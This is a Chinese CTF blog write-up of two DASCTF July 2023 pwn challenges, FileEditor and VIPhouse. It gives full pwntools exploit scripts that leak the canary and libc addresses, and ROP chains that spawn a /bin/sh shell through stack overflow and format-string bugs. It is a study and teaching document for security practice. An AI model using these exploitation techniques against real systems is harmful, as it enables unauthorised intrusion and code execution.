2023-dasctf7月部分复现-pwn

本文最后更新于:2023年7月25日 下午

2023-dasctf7月部分复现-pwn

FileEditor

这个题在比赛时始终没找到漏洞,真栓Q。

查看保护。

image-20230725153648174

题目维护了一个简单的结构体。

1
2
3
4
5
6
struct file
{
int flag;
char content[204];
file *next;
};

题目有很多复杂的功能,做到了文件的增删改查,以及字符串的查找与替换。

题目漏洞点是,在查找字符串是存在栈溢出。

image-20230725154049407

这么明显都没看到,果然我还是该锻炼锻炼眼力了。

image-20230725154201384

这个函数也是千奇百怪的,明显是为了出题而设计的。无语。。。

解题思路如下:

  1. 利用查找字符串功能,将栈中内容复制到content中
  2. 利用修改功能,逐个覆盖’\x00’为’\n’,泄露canary,以及libc地址
  3. 直接打rop链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote('node4.buuoj.cn', 29655)


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('> choose:', str(index))


def dasopen():
menu(1)


def show():
menu(2)


def insert(line, nums, content: list):
menu(3)
p.sendlineafter('please enter n m:', str(line))
p.sendline(str(nums))
p.recvuntil('be inserted in sequence:')
for i in range(nums):
p.sendline(content[i])


def delete(pos, nums):
menu(4)
p.recvuntil('lines to delete')
p.sendline(str(pos))
p.sendline(str(nums))


def modify(line, content):
menu(6)
p.sendlineafter('number to be modified:', str(line))
p.sendlineafter('new content:', content)


def find(search):
menu(7)
p.sendlineafter('string to search for:', search)
p.sendlineafter('continue searching? (y/n)', 'n')


def save():
menu(9)


dasopen()

insert(1, 1, ['a' * 0x62 + 'l1s00t'])

find('l1s00t')

modify(1, 'a' * 0x62 + 'l1s00t')
show()
p.recvuntil('l1s00t')
canary = u64(p.recv(8)) >> 8 << 8
lg('canary', canary)

modify(1, 'a' * 0x72 + 'l1s00t')
show()
p.recvuntil('l1s00t')
code_base = u64(p.recv(6).ljust(8, b'\x00')) >> 8 << 8
code_base = code_base - 0x1500
lg('code_base', code_base)

modify(1, 'a' * 0xa8)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) >> 8 << 8
libc_base = libc_base - 0x24000
lg('libc_base', libc_base)

system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

pop_rdi_ret = code_base + 0x0000000000002ac3
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92

payload = flat(
{
0x62: 'l1s00t',
0x68: [
canary, 0,
pop_rdi_ret, libc_base + libc.search(b'/bin/sh').__next__(),
pop_rsi_ret, 0,
pop_rdx_ret, 0,
execve
]
}
)
insert(1, 1, [payload])

# dbg()

find('l1s00t')

p.interactive()

image-20230725153246138

VIPhouse

这个题栽在了泄露随机字符上。一直在想怎么覆盖掉随机字符,从而绕过检测。没想到师傅们是直接爆破1byte绕过的。

查看保护。

image-20230725101042326

使用打开文件的方式写入随机数,无法预测。

image-20230725101623749

使用strcpy将随机字符放入栈中,可以想到首字节’\x00’绕过,这样后续的字符也为’\x00’了。所以说,相当于爆破首字节为’\x00’。

image-20230725101254804

login函数存在栈溢出。

image-20230725101559124

注意到login比较的时候,把我们输入的字符串放到了rdi的位置。

image-20230725100912317

同时,能够找到一个比较好用的gadget。两者结合,可以触发格式化字符串漏洞。

1
00000000004016DD mov eax, 0; call _printf; nop; pop rbp; retn

可以直接打格式化字符串那一套,也可以利用格式化字符串泄露地址,构造rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

fn = './viphouse'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
# if debug:
# p = process(fn)

# else:
# p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('an option: ', str(index))


def login(name, payload):
menu(1)
p.sendlineafter('your username: ', name)
p.sendlineafter('your password: ', payload)


def leak_canary():
menu(4)
p.sendafter('number you guess: ', '\x00' * 0x10)


def logout():
menu(5)

while True:
p = process(fn)
login('admin\x00', 'root\x00')
leak_canary()
result = p.recvuntil('1. login in')
if b'gift' in result:
break
else:
p.close()


start = 0x4012d0

# 00000000004016DD mov eax, 0; call _printf; nop; pop rbp; retn
myprintf = 0x4016DD

pop_rbp_ret = 0x000000000040139d
leave_ret = 0x000000000040147b

leak_canary()

p.recvuntil('gift!')
canary = int(p.recv(18), 16)
lg('canary', canary)

logout()

# dbg()

payload = flat(
{
0: "l1s00t%11$p%15$p",
0x40: [
canary, 0, myprintf, 0, start
]
}, filler='\x00'
)
login('admin\x00', payload)

p.recvuntil('l1s00t')
libc_base = int(p.recv(14), 16) - 0x29d90
lg('libc_base', libc_base)

stack = int(p.recv(14), 16) - 0x508 # login stack
lg('stack', stack)

logout()

# dbg()

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

payload1 = flat(
{
0: 'admin',
0x8: '/bin/sh',
0x18: [
pop_rdi_ret, stack + 0x8,
pop_rsi_ret, 0,
pop_rdx_rbx_ret, 0, 0,
execve
]
}, filler='\x00', length=0x60
)

payload2 = flat(
{
0: "l1s00t",
0x40: [
canary, stack + 0x10, leave_ret
]
}, filler='\x00'
)
login(payload1, payload2)


p.interactive()

image-20230725101007541


2023-dasctf7月部分复现-pwn
http://example.com/2023/07/23/2023-dasctf7月部分复现-pwn/
作者
l1s00t
发布于
2023年7月23日
更新于
2023年7月25日
许可协议